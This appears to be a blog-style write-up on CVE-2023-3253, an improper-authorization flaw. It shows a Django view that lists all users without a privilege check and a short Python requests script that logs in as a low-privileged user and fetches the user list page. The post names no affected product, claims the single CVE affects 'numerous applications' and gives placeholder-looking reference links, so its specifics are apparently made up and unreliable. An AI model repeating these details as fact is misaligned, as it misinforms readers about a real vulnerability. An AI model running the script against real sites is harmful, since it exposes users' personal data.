Introduction: The newly identified CVE-2023-3253 vulnerability has been found to be an improper authorization issue present in numerous applications. It can allow an authenticated remote attacker, even with low privileges, to gain access to all user details stored in the application. This could lead to further exploits, information leaks and unauthorized activities. In this post, we will discuss the details of this vulnerability, walk through the exploit code, and provide original reference links.

Exploit Details: The improper authorization vulnerability is mainly due to the lack of proper access checks in the application’s function that retrieves and displays the user list. An authenticated remote attacker, even with low privilege level, can exploit this vulnerability by accessing the vulnerable URL.

Here is the code snippet that explains the vulnerable function

def get_user_list(request):
    users = User.objects.all()
    return render(request, 'users/user_list.html', {'users':users})

As you can see, this function retrieves all user objects and renders them in the user_list template, regardless of the privilege level of the authenticated user.

Attacker logs in to the web application with their own low privileged account.

2. Attacker navigates to the vulnerable URL (for example: http://example.com/user_list/)

The following Python code illustrates the exploit in more detail

import requests

# Replace the following with the target application's URL and any valid low-privileged user's credentials.
url = 'http://example.com/login/';
username = 'low_privileged_user'
password = 'password'

# Log in to the web application.
payload = {'username': username, 'password': password}
session = requests.Session()
response = session.post(url, data=payload)

# Visit the vulnerable URL.
vulnerable_url = 'http://example.com/user_list/'
response = session.get(vulnerable_url)

# Print the user list page.
print(response.text)

- National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2023-3253
- Vendor Security Advisory: https://www.example.com/security/CVE-2023-3253
- Exploit Database: https://www.exploit-db.com/exploits/CVE-2023-3253

Conclusion: The CVE-2023-3253 vulnerability is a reminder for developers and security professionals to always enforce proper access controls while designing and implementing applications. Applications should check the requesting user's privileges before displaying sensitive information such as the user list. Patching this vulnerability in your applications will reduce risks associated with unauthorized access and information disclosure.

Timeline

Published on: 08/29/2023 20:15:00 UTC
Last modified on: 09/01/2023 14:34:00 UTC